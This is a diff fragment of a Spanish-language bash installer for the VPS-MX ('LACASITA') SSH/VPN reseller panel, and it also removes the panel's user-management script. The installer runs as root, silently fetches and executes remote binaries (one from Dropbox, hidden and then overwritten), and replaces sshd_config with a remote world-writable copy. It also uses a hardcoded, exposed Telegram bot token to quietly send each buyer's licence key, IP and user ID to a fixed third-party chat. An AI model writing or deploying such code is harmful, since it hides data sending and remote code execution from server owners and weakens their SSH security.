- [[ -d /etc/VPS-MX ]] && rm -rf /etc/VPS-MX 
-
- exit 1 
-
- } || { 
-
- v1=$(curl -sSL "https://raw.githubusercontent.com/lacasitamx/version/master/vercion") 
-
- echo "$v1" > /etc/versin_script 
-
- } 
-
- } 
-
- funcao_idioma () { 
-
- clear 
-
- clear 
-
- msg -bar2 
-
- msg -bar2 
-
- figlet " LACASITA" | lolcat 
-
- echo -e "     ESTE SCRIPT ESTA OPTIMIZADO A IDIOMA ESPAÑOL" 
-
- msg -bar2 
-
- pv="$(echo es)" 
-
- [[ ${#id} -gt 2 ]] && id="es" || id="$pv" 
-
- byinst="true" 
-
- } 
-
- install_fim () { 
-
- msg -ama "               Finalizando Instalacion" && msg bar2 
-
- [[ $(find /etc/VPS-MX/controlador -name nombre.log|grep -w "nombre.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/nombre.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/nombre.log &>/dev/null 
-
- [[ $(find /etc/VPS-MX/controlador -name IDT.log|grep -w "IDT.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/IDT.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/IDT.log &>/dev/null 
-
- [[ $(find /etc/VPS-MX/controlador -name tiemlim.log|grep -w "tiemlim.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/tiemlim.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/tiemlim.log &>/dev/null 
-
- touch /usr/share/lognull &>/dev/null 
-
- wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/SPR &>/dev/null -O /usr/bin/SPR &>/dev/null 
-
- chmod 775 /usr/bin/SPR &>/dev/null 
-
- wget -O /usr/bin/SOPORTE https://www.dropbox.com/s/8oi0mt9ikv5z8d0/soporte &>/dev/null 
-
- chmod 775 /usr/bin/SOPORTE &>/dev/null 
-
- SOPORTE &>/dev/null 
-
- echo "ACCESO ACTIVADO" >/usr/bin/SOPORTE 
-
- wget -O /bin/rebootnb https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/rebootnb &> /dev/null 
-
- chmod +x /bin/rebootnb 
-
- wget -O /bin/resetsshdrop https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/resetsshdrop &> /dev/null 
-
- chmod +x /bin/resetsshdrop 
-
- wget -O /etc/versin_script_new https://raw.githubusercontent.com/lacasitamx/version/master/vercion &>/dev/null 
-
- wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/lacasitamx/ZETA/master/sshd &>/dev/null 
-
- chmod 777 /etc/ssh/sshd_config 
-
- msg -bar2 
-
- echo '#!/bin/sh -e' > /etc/rc.local 
-
- sudo chmod +x /etc/rc.local 
-
- echo "sudo rebootnb" >> /etc/rc.local 
-
- echo "sudo resetsshdrop" >> /etc/rc.local 
-
- echo "sleep 2s" >> /etc/rc.local 
-
- echo "exit 0" >> /etc/rc.local 
-
- /bin/cp /etc/skel/.bashrc ~/ 
-
- echo 'clear' >> .bashrc 
-
- echo 'echo ""' >> .bashrc 
-
- echo 'figlet ":LACASITA:"|lolcat' >> .bashrc 
-
- echo 'mess1="$(less /etc/VPS-MX/message.txt)" ' >> .bashrc 
-
- echo 'echo "" '>> .bashrc 
-
- echo 'echo -e "\t\033[92mRESELLER : $mess1 "'>> .bashrc 
-
- echo 'echo -e "\t\e[1;33mVERSION: \e[1;31m$(cat /etc/versin_script_new)"'>> .bashrc 
-
- echo 'echo "" '>> .bashrc 
-
- echo 'echo -e "\t\033[97mPARA MOSTAR PANEL BASH ESCRIBA: sudo menu "'>> .bashrc 
-
- echo 'echo ""'>> .bashrc 
-
- echo -e "         COMANDO PRINCIPAL PARA ENTRAR AL PANEL " 
-
- echo -e "  \033[1;41m               sudo menu             \033[0;37m" && msg -bar2 
-
- rm -rf /usr/bin/pytransform &> /dev/null 
-
- rm -rf LACASITA.sh 
-
- rm -rf lista-arq 
-
- service ssh restart &>/dev/null 
-
- exit 
-
- } 
-
- ofus () { 
-
- unset server 
-
- server=$(echo ${txt_ofuscatw}|cut -d':' -f1) 
-
- unset txtofus 
-
- number=$(expr length $1) 
-
- for((i=1; i<$number+1; i++)); do 
-
- txt[$i]=$(echo "$1" | cut -b $i) 
-
- case ${txt[$i]} in 
-
- ".")txt[$i]="C";; 
-
- "C")txt[$i]=".";; 
-
- "3")txt[$i]="@";; 
-
- "@")txt[$i]="3";; 
-
- "5")txt[$i]="9";; 
-
- "9")txt[$i]="5";; 
-
- "6")txt[$i]="P";; 
-
- "P")txt[$i]="6";; 
-
- "L")txt[$i]="O";; 
-
- "O")txt[$i]="L";; 
-
- esac 
-
- txtofus+="${txt[$i]}" 
-
- done 
-
- echo "$txtofus" | rev 
-
- } 
-
- verificar_arq () { 
-
- [[ ! -d ${SCPdir} ]] && mkdir ${SCPdir} 
-
- [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr} 
-
- [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm} 
-
- [[ ! -d ${SCPinst} ]] && mkdir ${SCPinst} 
-
- case $1 in 
-
- "menu"|"message.txt"|"ID")ARQ="${SCPdir}/";; #Menu 
-
- "usercodes")ARQ="${SCPusr}/";; #Panel SSRR 
-
- "C-SSR.sh")ARQ="${SCPinst}/";; #Panel SSR 
-
- "openssh.sh")ARQ="${SCPinst}/";; #OpenVPN 
-
- "squid.sh")ARQ="${SCPinst}/";; #Squid 
-
- "dropbear.sh"|"proxy.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "proxy.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "openvpn.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "ssl.sh"|"python.py")ARQ="${SCPinst}/";; #Instalacao 
-
- "shadowsocks.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "Shadowsocks-libev.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "Shadowsocks-R.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "v2ray.sh"|"slowdns.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "budp.sh")ARQ="${SCPinst}/";; #Instalacao 
-
- "sockspy.sh"|"PDirect.py"|"PPub.py"|"PPriv.py"|"POpen.py"|"PGet.py")ARQ="${SCPinst}/";; #Instalacao 
-
- *)ARQ="${SCPfrm}/";; #Herramientas 
-
- esac 
-
- mv -f ${SCPinstal}/$1 ${ARQ}/$1 
-
- chmod +x ${ARQ}/$1 
-
- } 
-
- NOTIFY () { 
-
- clear 
-
- clear 
-
- msg -bar 
-
- msg -ama " Notify-BOT (Notificasion Remota)|@LaCasitaMx_Noty_Bot " 
-
- msg -bar 
-
- echo -e "\033[1;94m Notify-BOT es un simple notificador de:" 
-
- echo -e "\033[1;94m >> Usuario Expirado" 
-
- echo -e "\033[1;94m >> Usuario Eliminado" 
-
- echo -e "\033[1;94m >> Avisos de VPS Reiniciada" 
-
- echo -e "\033[1;94m >> Avisos de Monitor de Protocolos" 
-
- echo -e "\033[1;97m Inicie El BOT de Telegram" 
-
- echo -e "\033[1;92m ¡¡ Para sacar su ID entre al BOT @conectedmx_bot" 
-
- echo -e "\033[1;92m Aparesera algo parecido 👤 → Tu ID es: 45145564   " 
-
- msg -bar 
-
- echo -e "\033[1;93mIgrese un nombre para el VPS:\033[0;37m"; read -p " " nombr 
-
- echo "${nombr}" > /etc/VPS-MX/controlador/nombre.log 
-
- echo -e "\033[1;93mIgrese su ID 👤:\033[0;37m"; read -p " " idbot 
-
- echo "${idbot}" > /etc/VPS-MX/controlador/IDT.log 
-
- msg -bar 
-
- echo -e "\033[1;32m              ID AGREGADO CON EXITO" 
-
- msg -bar 
-
- wget -qO- ifconfig.me > /etc/VPS-MX/IP.log 
-
- ipt=`less /etc/VPS-MX/IP.log` > /dev/null 2>&1 
-
- Nip="$(echo $ipt)" 
-
- NOM="$(less /etc/VPS-MX/controlador/nombre.log)" 
-
- NOM1="$(echo $NOM)" 
-
- IDB1=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1 
-
- IDB2=`echo $IDB1` > /dev/null 2>&1 
-
- KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w" 
-
- URL="https://api.telegram.org/bot$KEY/sendMessage" 
-
- MSG="⚠️ ►► AVISO DE VPS: $NOM1 ⚠ 
-
- 👉 ►► IP: $Nip 
-
- 👉 ►► MENSAJE DE PRUEBA 
-
- 🔰 ►► NOTI-BOT ACTIVADO CORRECTAMENTE" 
-
- curl -s --max-time 10 -d "chat_id=$IDB2&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
-
- echo -e "\033[1;34m            SE ENVIO MENSAJE DE PRUEBA " 
-
- } 
-
- fun_ipe 
-
- wget -O /usr/bin/trans https://raw.githubusercontent.com/scriptsmx/script/master/Install/trans &> /dev/null 
-
- wget -O /bin/Desbloqueo.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/Desbloqueo.sh &> /dev/null 
-
- chmod +x /bin/Desbloqueo.sh 
-
- wget -O /bin/monitor.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/monitor.sh &> /dev/null 
-
- chmod +x /bin/monitor.sh 
-
- wget -O /var/www/html/estilos.css https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/estilos.css &> /dev/null 
-
- [[ -f "/usr/sbin/ufw" ]] && ufw allow 443/tcp &>/dev/null; ufw allow 80/tcp &>/dev/null; ufw allow 3128/tcp &>/dev/null; ufw allow 8799/tcp &>/dev/null; ufw allow 8080/tcp &>/dev/null; ufw allow 81/tcp &>/dev/null 
-
- clear 
-
- msg -bar2 
-
- msg -ama "     [ SCRIPT \033[1;97m  MOD LACASITAMX\033[1;33m ]" 
-
- msg -ama "  \033[1;96m      🔰Usar Ubuntu 20 a 64 De Preferencia🔰 " 
-
- msg -bar2 
-
- [[ $1 = "" ]] && funcao_idioma || { 
-
- [[ ${#1} -gt 2 ]] && funcao_idioma || id="$1" 
-
- } 
-
- error_fun () { 
-
- msg -bar2 && msg -verm "ERROR entre VPS<-->GENERADOR (Port 81 TCP)" && msg -bar2 
-
- [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} 
-
- exit 1 
-
- } 
-
- invalid_key () { 
-
- msg -bar2 && msg -verm "  Code Invalido -- #¡Key Invalida#! " && msg -bar2 
-
- [[ -e $HOME/lista-arq ]] && rm $HOME/lista-arq 
-
- rm -rf lista-arq 
-
- exit 1 
-
- } 
-
- while [[ ! $Key ]]; do 
-
- msg -bar2 && msg -ne "\033[1;93m          >>> INGRESE SU KEY ABAJO <<<\n   \033[1;37m" && read Key 
-
- tput cuu1 && tput dl1 
-
- done 
-
- msg -ne "    # Verificando Key # : " 
-
- cd $HOME 
-
- wget -O $HOME/lista-arq $(ofus "$Key")/$IP > /dev/null 2>&1 && echo -e "\033[1;32m Ofus Correcto" || { 
-
- echo -e "\033[1;91m Ofus Incorrecto" 
-
- invalid_key 
-
- exit 
-
- } 
-
- IP=$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}') && echo "$IP" > /usr/bin/venip 
-
- sleep 1s 
-
- function_verify 
-
- updatedb 
-
- if [[ -e $HOME/lista-arq ]] && [[ ! $(cat $HOME/lista-arq|grep "Code de KEY Invalido!") ]]; then 
-
- msg -bar2 
-
- msg -verd "    $(source trans -b es:${id} "Ficheros Copiados"|sed -e 's/[^a-z -]//ig'): \e[97m[\e[93m@conectedmx_bot\e[97m]" 
-
- REQUEST=$(ofus "$Key"|cut -d'/' -f2) 
-
- [[ ! -d ${SCPinstal} ]] && mkdir ${SCPinstal} 
-
- pontos="." 
-
- stopping="Descargando Ficheros" 
-
- for arqx in $(cat $HOME/lista-arq); do 
-
- msg -verm "${stopping}${pontos}" 
-
- wget --no-check-certificate -O ${SCPinstal}/${arqx} ${IP}:81/${REQUEST}/${arqx} > /dev/null 2>&1 && verificar_arq "${arqx}" || error_fun 
-
- tput cuu1 && tput dl1 
-
- pontos+="." 
-
- done 
-
- wget -qO- ifconfig.me > /etc/VPS-MX/IP.log 
-
- userid="${SCPdir}/ID" 
-
- TOKEN="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w" 
-
- URL="https://api.telegram.org/bot$TOKEN/sendMessage" 
-
- MSG="👇= KEY INSTALADO =👇 
-
- ╔═════ ▓▓ ࿇ ▓▓ ═════╗ 
-
- - - - - - - - ×∆× - - - - - - - 
-
- User ID: $(cat ${userid}) 
-
- - - - - - - - ×∆× - - - - - - - 
-
- Usuario: $(cat ${SCPdir}/message.txt) 
-
- - - - - - - - ×∆× - - - - - - - 
-
- IP: $(cat ${SCPdir}/IP.log) 
-
- - - - - - - - ×∆× - - - - - - - 
-
- KEY: $Key 
-
- - - - - - - - ×∆× - - - - - - - 
-
- By @alexmod80 
-
- - - - - - - - ×∆× - - - - - - - 
-
- ╚═════ ▓▓ ࿇ ▓▓ ═════╝ 
-
- " 
-
- activ=$(cat ${userid}) 
-
- curl -s --max-time 10 -d "chat_id=$activ&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
-
- curl -s --max-time 10 -d "chat_id=605531451&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null 
-
- rm ${SCPdir}/IP.log &>/dev/null 
-
- msg -bar2 
-
- listaarqs="$(locate "lista-arq"|head -1)" && [[ -e ${listaarqs} ]] && rm $listaarqs 
-
- cat /etc/bash.bashrc|grep -v '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' > /etc/bash.bashrc.2 
-
- echo -e '[[ $UID != 0 ]] && TMOUT=15 && export TMOUT' >> /etc/bash.bashrc.2 
-
- mv -f /etc/bash.bashrc.2 /etc/bash.bashrc 
-
- echo "${SCPdir}/menu" > /usr/bin/menu && chmod +x /usr/bin/menu 
-
- echo "${SCPdir}/menu" > /usr/bin/VPSMX && chmod +x /usr/bin/VPSMX 
-
- echo "$Key" > ${SCPdir}/key.txt 
-
- [[ -d ${SCPinstal} ]] && rm -rf ${SCPinstal} 
-
- [[ ${#id} -gt 2 ]] && echo "es" > ${SCPidioma} || echo "${id}" > ${SCPidioma} 
-
- echo -e "${cor[2]}         DESEAS INSTALAR NOTI-BOT?(Default n)" 
-
- echo -e "\033[1;34m  (Deves tener Telegram y el BOT: @LaCasitaMx_Noty_Bot)" 
-
- msg -bar2 
-
- read -p " [ s | n ]: " NOTIFY 
-
- [[ "$NOTIFY" = "s" || "$NOTIFY" = "S" ]] && NOTIFY 
-
- msg -bar2 
-
- [[ ${byinst} = "true" ]] && install_fim 
-
- else 
-
- invalid_key 
-
- rm -rf LACASITA.sh lista-arq 
-
- fi 
-
- rm -rf LACASITA.sh lista-arq

BIN
SCRIPT-v8.5x Mod/VPS-MX.tar.xz


+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/controlador/IDT.log

@@ -1 +0,0 @@
- 

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/controlador/SSH20.log

@@ -1 +0,0 @@
-8

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/controlador/nombre.log

@@ -1 +0,0 @@
-vps

+ 0 - 1
SCRIPT-v8.5x Mod/VPS-MX/controlador/tiemlim.log

@@ -1 +0,0 @@
-120

+ 0 - 1836
SCRIPT-v8.5x Mod/VPS-MX/controlador/usercodes

@@ -1,1836 +0,0 @@
-#!/bin/bash
- clear
- clear
- msg -bar
- NOM=`less /etc/VPS-MX/controlador/nombre.log` > /dev/null 2>&1
- NOM1=`echo $NOM` > /dev/null 2>&1
- IDB=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
- IDB1=`echo $IDB` > /dev/null 2>&1
- declare -A TIMEUS
- SCPdir="/etc/VPS-MX"
- SCPdir2="${SCPdir}/herramientas"
- SCPusr="${SCPdir}/controlador"
- MyPID="${SCPusr}/pid-vps-mx"
- MyTIME="${SCPusr}/time-vps-mx"
- USRdatabase="${SCPdir}/VPS-MXuser"
- USRdatabaseh="${SCPdir}/User-HWID"
- tokens="${SCPdir}/User-TOKEN"
- VERY="$(ps aux|grep "${SCPusr}/usercodes verificar"| grep -v grep)"
- VERY2="$(ps aux|grep "${SCPusr}/usercodes desbloqueo"| grep -v grep)"
- [[ -e ${MyPID} ]] && source ${MyPID} || touch ${MyPID}
- [[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
- [[ ! -e ${USRdatabase} ]] && touch ${USRdatabase}
- sort ${USRdatabase} | uniq > ${USRdatabase}tmp
- mv -f ${USRdatabase}tmp ${USRdatabase}
- newclient () {
- usermod -p $(openssl passwd -1 $2) $1
- while [[ ${newfile} != @(s|S|y|Y|n|N) ]]; do
- msg -bar
- read -p "Crear Archivo OpenVPN? [S/N]: " -e -i S newfile
- tput cuu1 && tput dl1
- done
- if [[ ${newfile} = @(s|S) ]]; then
- rm -rf /etc/openvpn/easy-rsa/pki/reqs/$1.req
- rm -rf /etc/openvpn/easy-rsa/pki/issued/$1.crt
- rm -rf /etc/openvpn/easy-rsa/pki/private/$1.key
- cd /etc/openvpn/easy-rsa/
- ./easyrsa build-client-full $1 nopass > /dev/null 2>&1
- cd
- cp /etc/openvpn/client-common.txt ~/$1.ovpn
- echo "<ca>" >> ~/$1.ovpn
- cat /etc/openvpn/easy-rsa/pki/ca.crt >> ~/$1.ovpn
- echo "</ca>" >> ~/$1.ovpn
- echo "<cert>" >> ~/$1.ovpn
- cat /etc/openvpn/easy-rsa/pki/issued/$1.crt >> ~/$1.ovpn
- echo "</cert>" >> ~/$1.ovpn
- echo "<key>" >> ~/$1.ovpn
- cat /etc/openvpn/easy-rsa/pki/private/$1.key >> ~/$1.ovpn
- echo "</key>" >> ~/$1.ovpn
- echo "<tls-auth>" >> ~/$1.ovpn
- cat /etc/openvpn/ta.key >> ~/$1.ovpn
- echo "</tls-auth>" >> ~/$1.ovpn
- while [[ ${ovpnauth} != @(s|S|y|Y|n|N) ]]; do
- read -p "$(fun_trans "Colocar autenticacion de usuario en el archivo")? [S/N]: " -e -i S ovpnauth
- tput cuu1 && tput dl1
- done
- [[ ${ovpnauth} = @(s|S) ]] && sed -i "s;auth-user-pass;<auth-user-pass>\n$1\n$2\n</auth-user-pass>;g" ~/$1.ovpn
- cd $HOME
- zip ./$1.zip ./$1.ovpn > /dev/null 2>&1
- rm ./$1.ovpn > /dev/null 2>&1
- echo -e "\033[1;31m$(fun_trans "Archivo creado"): ($HOME/$1.zip)"
- fi
- }
- unlockall2 () {
- for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
- do
- userpid=$(ps -u $user |awk {'print $1'})
- usermod -U $user &>/dev/null
- done
- }
- eliminar_all () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\033[1;31m       BORRAR TODOS LOS USUARIOS REGISTRADOS"
- msg -bar
- read -p "   ►► Enter para Continuar  o CTRL + C Cancelar ◄◄"
- echo ""
- service dropbear stop &>/dev/null
- service sshd stop &>/dev/null
- service ssh stop &>/dev/null
- service stunnel4 stop &>/dev/null
- service squid stop &>/dev/null
- for user in $(cat /etc/passwd |awk -F : '$3 > 900 {print $1}' |grep -v "rick" |grep -vi "nobody")
- do
- userpid=$(ps -u $user |awk {'print $1'})
- kill "$userpid" 2>/dev/null
- userdel $user
- echo -e "\033[1;32mUSUARIO:\033[1;33m $user \033[1;31mEliminado"
- done
- rm -rf ${SCPdir}/VPS-MXuser
- service sshd restart &>/dev/null
- service ssh restart &>/dev/null
- service dropbear start &>/dev/null
- service stunnel4 start &>/dev/null
- service squid restart &>/dev/null
- rm -rf ${SCPdir}/VPS-MX-userlock &>/dev/null
- rm -rf /etc/VPS-MX/controlador/Limiter.log &>/dev/null
- unlockall2
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- reset_contador () {
- clear
- clear
- msg -bar
- msg -tit
- echo -e "\033[1;33m          REINICIAR CONTADOR DE BLOQUEOS"
- msg -bar
- echo -e "\033[1;97m !! Usar unicamente cuando en el apartado del contador\nmarque alguna cantidad erronea. ¡¡"
- echo ""
- echo -e "\033[1;91m ## Cancelar Precione CTRL+C"
- msg -bar
- read -p "        ►► Presione enter para continuar ◄◄"
- rm -rf /etc/VPS-MX/VPS-MX-userlock
- rm -rf /etc/VPS-MX/controlador/Limiter.log
- unlockall2
- msg -bar
- echo -e "\033[1;92m           ¡¡CONTADORES REINICIADOS!!"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- SPR &
- droppids () {
- local pids
- local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
- local NOREPEAT
- local reQ
- local Port
- while read port; do
- reQ=$(echo ${port}|awk '{print $1}')
- Port=$(echo {$port} | awk '{print $9}' | awk -F ":" '{print $2}')
- [[ $(echo -e $NOREPEAT|grep -w "$Port") ]] && continue
- NOREPEAT+="$Port\n"
- case ${reQ} in
- dropbear)
- [[ -z $DPB ]] && local DPB="\033[1;31m DROPBEAR: \033[1;32m"
- DPB+="$Port ";;
- esac
- done <<< "${portasVAR}"
- [[ ! -z $DPB ]] && echo -e $DPB
- local port_dropbear="$DPB"
- cat /var/log/auth.log|tail -1000 > /var/log/authday.log
- local log=/var/log/authday.log
- local loginsukses='Password auth succeeded'
- [[ -z $port_dropbear ]] && return 1
- for port in `echo $port_dropbear`; do
- for pidx in $(ps ax |grep dropbear |grep "$port" |awk -F" " '{print $1}'); do
- pids="${pids}$pidx\n"
- done
- done
- for pid in `echo -e "$pids"`; do
- pidlogs=`grep $pid $log |grep "$loginsukses" |awk -F" " '{print $3}'`
- i=0
- for pidend in $pidlogs; do
- let i++
- done
- if [[ $pidend ]]; then
- login=$(grep $pid $log |grep "$pidend" |grep "$loginsukses")
- PID=$pid
- user=`echo $login |awk -F" " '{print $10}' | sed -r "s/'//g"`
- waktu=$(echo $login |awk -F" " '{print $2"-"$1,$3}')
- [[ -z $user ]] && continue
- echo "$user|$PID|$waktu"
- fi
- done
- }
- block_userfun () {
- local USRloked="/etc/VPS-MX/VPS-MX-userlock"
- local LIMITERLOG="${USRdatabase}/Limiter.log"
- local LIMITERLOG2="${USRdatabase}/Limiter2.log"
- if [[ $2 = "-loked" ]]; then
- [[ $(cat ${USRloked}|grep -w "$1") ]] && return 1
- echo " $1 (BLOCK-MULTILOGIN) $(date +%r--%d/%m/%y)"
- limseg="$(less /etc/VPS-MX/controlador/tiemdes.log)"
- KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
- URL="https://api.telegram.org/bot$KEY/sendMessage"
- MSG="⚠️ AVISO DE VPS: $NOM1 ⚠️
- 🔹 CUENTA: $1
- ❗️📵 BLOCK FIJO/TEMPORAL 📵❗️
- 🔓( AUTOUNLOCK EN $limseg SEGUNDOS) 🔓"
- curl -s --max-time 10 -d "chat_id=$IDB1&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
- pkill -u $1 &>/dev/null
- fi
- if [[ $(cat ${USRloked}|grep -w "$1") ]]; then
- usermod -U "$1" &>/dev/null
- [[ -e ${USRloked} ]] && {
- newbase=$(cat ${USRloked}|grep -w -v "$1")
- [[ -e ${USRloked} ]] && rm ${USRloked}
- for value in `echo ${newbase}`; do
- echo $value >> ${USRloked}
- done
- }
- [[ -e ${LIMITERLOG} ]] && [[ $(cat ${LIMITERLOG}|grep -w "$1") ]] && {
- newbase=$(cat ${LIMITERLOG}|grep -w -v "$1")
- [[ -e ${LIMITERLOG} ]] && rm ${LIMITERLOG}
- for value in `echo ${newbase}`; do
- echo $value >> ${LIMITERLOG}
- echo $value >> ${LIMITERLOG}
- done
- }
- return 1
- else
- usermod -L "$1" &>/dev/null
- pkill -u $1 &>/dev/null
- droplim=`droppids|grep -w "$1"|cut -d'|' -f2`
- kill -9 $droplim &>/dev/null
- echo $1 >> ${USRloked}
- return 0
- fi
- }
- block_user () {
- clear
- clear
- msg -bar
- local USRloked="/etc/VPS-MX/VPS-MX-userlock"
- [[ ! -e ${USRloked} ]] && touch ${USRloked}
- usuarios_ativos=($(mostrar_usuarios))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -verm "$(fun_trans " BLOCK/UNBLOCK | Ningun Usuario Registrado")"
- msg -bar
- return 1
- else
- msg -tit
- msg -ama "$(fun_trans " BLOCK/UNBLOCK | UsuariosActivos del Servidor")"
- msg -bar
- Numb=0
- for us in $(echo ${usuarios_ativos[@]}); do
- if [[ $(cat ${USRloked}|grep -w "${us}") ]]; then
- msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;31m[Loked]"
- else
- msg -ne "[$Numb] ->" && echo -e "\033[1;33m ${us} \033[1;32m[Unlocked]"
- fi
- let Numb++
- done
- msg -bar
- fi
- msg -ama "$(fun_trans "Escriba o Seleccione Un Usuario")"
- msg -bar
- unset selection
- while [[ ${selection} = "" ]]; do
- echo -ne "\033[1;37mSeleccione: " && read selection
- tput cuu1 && tput dl1
- done
- if [[ ! $(echo "${selection}" | egrep '[^0-9]') ]]; then
- usuario_del="${usuarios_ativos[$selection]}"
- else
- usuario_del="$selection"
- fi
- [[ -z $usuario_del ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- [[ ! $(echo ${usuarios_ativos[@]}|grep -w "$usuario_del") ]] && {
- msg -verm "$(fun_trans "Error, Usuario Invalido")"
- msg -bar
- return 1
- }
- msg -ne "$(fun_trans "Usuario Seleccionado"): " && echo -ne "$usuario_del "
- block_userfun "$usuario_del" && msg -verm "[$(fun_trans "Bloqueado")]" || msg -verd "[$(fun_trans "Desbloqueado")]"
- msg -bar
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- }
- msg -bar3
- add_user () {
- Fecha=`date +%d-%m-%y-%R`
- [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
- valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
- if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c sshm,$2 $1 ; then
- echo "$1|$2|${datexp}|$4" >> ${USRdatabase}
- msg -verd "$(fun_trans "Usuario Creado con Exito")"
- else
- msg -verm2 "$(fun_trans "Error, Usuario no creado")"
- msg -bar
- fi
- }
- add_hwid () {
- Fecha=`date +%d-%m-%y-%R`
- [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
- valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
- if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c hwid,$1 $2 ; then
- echo "$1|$2|${datexp}" >> ${USRdatabaseh}
- msg -verd "$(fun_trans "Usuario Creado con Exito")"
- else
- msg -verm2 "$(fun_trans "Error, Usuario no creado")"
- msg -bar
- fi
- }
- add_token () {
- Fecha=`date +%d-%m-%y-%R`
- [[ $(cat /etc/passwd |grep $1: |grep -vi [a-z]$1 |grep -v [0-9]$1 > /dev/null) ]] && return 1
- valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
- if useradd -M -s /bin/false -e ${valid} -K PASS_MAX_DAYS=$3 -p $(openssl passwd -1 $2) -c token,$1 $2 ; then
- echo "$1|$2|${datexp}" >> ${tokens}
- msg -verd "$(fun_trans "Usuario Creado con Exito")"
- else
- msg -verm2 "$(fun_trans "Error, Usuario no creado")"
- msg -bar
- fi
- }
- mostrar_usuario(){
- for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'hwid'|awk -F ':' '{print $1}'`; do
- echo "$u"
- done
- }
- mostrar_token(){
- for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'token'|awk -F ':' '{print $1}'`; do
- echo "$u"
- done
- }
- mostrar_all(){
- for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -v 'sshm'|grep -w 'hwid'|grep -v 'token'|awk -F ':' '{print $1}'`; do
- echo "$u"
- done
- }
- mostrar_user(){
- for u in `cat /etc/passwd|grep 'home'|grep 'false'|grep -v 'syslog'|grep -w 'sshm'|awk -F ':' '{print $1}'`; do
- echo "$u"
- done
- }
- new_hwid () {
- clear
- clear
- msg -bar
- usuarios_ativo=($(cat ${USRdatabaseh}|cut -d'|' -f1))
- usuarios_ativos=('' $(mostrar_usuario))
- if [[ -z ${usuarios_ativos[@]} ]]; then
- msg -tit
- msg -ama "   AGREGAR USUARIO HWID| Ningun Usuario Registrado"
- msg -bar
- else
- msg -tit
- msg -ama "  AGREGAR USUARIO HWID| Usuarios  Activos en Servidor"
- msg -bar
- for us in $(echo ${usuarios_ativos[@]}); do
- msg -ne " >> Usuario: " && echo "${us}"
- done
- msg -bar
- fi
- while true; do
- msg -ne "$(fun_trans "Nombre Del Usuario")"
- read -p ": " usuario
- usuario="$(echo $usuario|sed -e 's/[^a-z0-9 -]//ig')"
- if [[ -z $usuario ]]; then
- err_fun 1 && continue
- elif [[ "${#usuario}" -lt "3" ]]; then
- err_fun 2 && continue
- elif [[ "${#usuario}" -gt "12" ]]; then
